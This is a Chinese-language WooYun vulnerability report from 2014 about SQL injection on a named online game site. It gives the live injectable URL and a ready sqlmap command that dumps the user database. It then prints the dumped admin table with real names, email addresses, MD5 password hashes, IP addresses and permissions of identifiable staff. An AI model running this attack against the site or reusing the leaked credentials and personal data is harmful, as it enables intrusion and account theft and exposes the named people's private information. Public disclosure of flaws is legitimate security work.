漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-075810
漏洞标题：某游戏官方SQL注射漏洞可导致几百万用户数据泄露（账号密码等）
相关厂商：某网络游戏
漏洞作者： 依恋安静
提交时间：2014-09-11 16:07
修复时间：2014-10-26 16:08
公开时间：2014-10-26 16:08
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-09-11： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-10-26： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
搜搜搜,一道道的黑阔.看的小菜心寒。。。。
嘻嘻
详细说明：
注入地址:http://ka.2366.com/cardlist_1.php?gid=4340&rcname=%E4%BC%9A%E5%A5%BD%E7%8E%A9
直接用神器SQLMAP :./sqlmap.py -u "http://ka.2366.com/cardlist_1.php?gid=4340&rcname=%E4%BC%9A%E5%A5%BD%E7%8E%A9" -D my_2366_com -T uchome_member --dump
上面是会员账号的裤.
Database: my_2366_com
Table: uchome_wg_admin_user
[10 entries]
+-------+---------+----------+---------------------+--------+--------------+----------+----------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------+----------+---------------+-------------+---------------------+---------------------+-----------------+---------------------+
| id | gameid | inviteid | email | status | account | usertype | password | purviews | nickname | realname | create_ip | login_count | update_time | create_time | last_login_ip | last_login_time |
+-------+---------+----------+---------------------+--------+--------------+----------+----------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------+----------+---------------+-------------+---------------------+---------------------+-----------------+---------------------+
| 1 | 0 | 0 | <blank> | 1 | admin | 1 | 6ac3d8b85eedfeb2418449376c75fb63 | NULL | 超级管理员 | 冷彦辰 | <blank> | 619 | 2010-05-17 16:10:11 | 0000-00-00 00:00:00 | 219.146.149.138 | 2011-07-16 08:36:31 |
| 3 | 0 | NULL | haha@hahahaha.com | 1 | guirongliang | 5 | e10adc3949ba59abbe56e057f20f883e | <blank> | 桂荣亮 | 桂荣亮 | 127.0.0.1 | 5 | 2010-04-12 11:14:36 | 2010-03-27 10:35:57 | 221.10.12.132 | 2010-04-16 11:08:18 |
| 4 | 0 | NULL | NULL | 1 | game | 2 | e10adc3949ba59abbe56e057f20f883e | g_List g_New g_Edit g_Del g_TypeList g_TypeEdit g_TypeNew g_StateList g_StateEdit g_StateNew s_List s_New s_Edit s_Del s_TypeList s_TypeEdit s_TypeNew s_StateList s_StateEdit | game | game | 127.0.0.1 | 3 | 2010-04-12 09:50:17 | 2010-04-11 10:34:44 | 127.0.0.1 | 2010-04-11 22:23:12 |
| 5 | 0 | 0 | chenxiwen@2366.com | 1 | chenxiwen | 5 | 6315c1824c218c0c1a62319f77f662ad | p_List p_View p_Edit p_BankList p_BankView p_2366List p_Mbank p_MbankView t_RBB t_YXSY t_LSL t_AZTJ t_PAY i_REGAMOUNT i_GLOST i_GLOGIN i_GACTIVE i_GPAY | 陈熙文 | 陈熙文 | 221.10.12.132 | 152 | 2010-12-01 17:03:12 | 2010-04-16 09:22:08 | 119.6.97.90 | 2010-12-01 17:05:00 |
| 6 | 0 | NULL | lankunli@2366.com | 1 | lankunli | 4 | e807f1fcf82d132f9bb018ca6738a19f | NULL | 兰坤丽 | 兰坤丽 | 221.10.12.134 | 83 | 2010-04-21 16:12:16 | 2010-04-21 16:03:55 | 124.127.130.50 | 2011-10-19 15:31:04 |
| 8 | 2 | NULL | luoyong@2366.com | 1 | luoyong | 5 | 97db1846570837fce6ff62a408f1c26a | NULL | 罗勇 | 罗勇 | 221.10.12.132 | 0 | NULL | 2010-04-30 13:49:52 | NULL | NULL |
| 9 | 0 | 0 | xiangsong@2366.com | 1 | xiangsong | 1 | 97db1846570837fce6ff62a408f1c26a | NULL | 向松 | 向松 | 221.10.12.132 | 62 | NULL | 2010-06-13 15:26:31 | 119.6.97.90 | 2010-12-09 15:08:16 |
| 10 | 3 4 5 6 | 0 | NULL | 1 | admin66 | 2 | e10adc3949ba59abbe56e057f20f883e | NULL | 黄生宝 | 黄生宝 | 221.10.12.134 | 7 | 2010-08-27 11:14:52 | 2010-06-22 12:45:37 | 125.71.173.66 | 2010-08-30 17:25:33 |
| 12 | 0 | 0 | songsiying@2366.com | 1 | songsiying | 5 | e807f1fcf82d132f9bb018ca6738a19f | member_List p_List p_View p_BankList p_BankView p_2366List p_Mbank p_MbankView t_RBB t_YXSY t_LSL t_AZTJ t_PAY i_REGAMOUNT i_GLOST i_GLOGIN i_GACTIVE i_GPAY | 宋思颖 | 宋思颖 | 125.69.28.13 | 14 | 2010-09-03 11:20:54 | 2010-09-02 13:02:27 | 118.112.46.234 | 2010-09-14 09:27:14 |
| 65535 | <blank> | <blank> | <blank> | 0 | sunthe | 0 | 0382288573492d572fdcd50934546327 | <blank> | 技术管理 | <blank> | <blank> | 0 | 0000-00-00 00:00:00 | 0000-00-00 00:00:00 | <blank> | 0000-00-00 00:00:00 |
+-------+---------+----------+---------------------+--------+--------------+----------+----------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------+----------+---------------+-------------+---------------------+---------------------+-----------------+---------------------+
漏洞证明：
修复方案：
版权声明：转载请注明来源 依恋安静@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝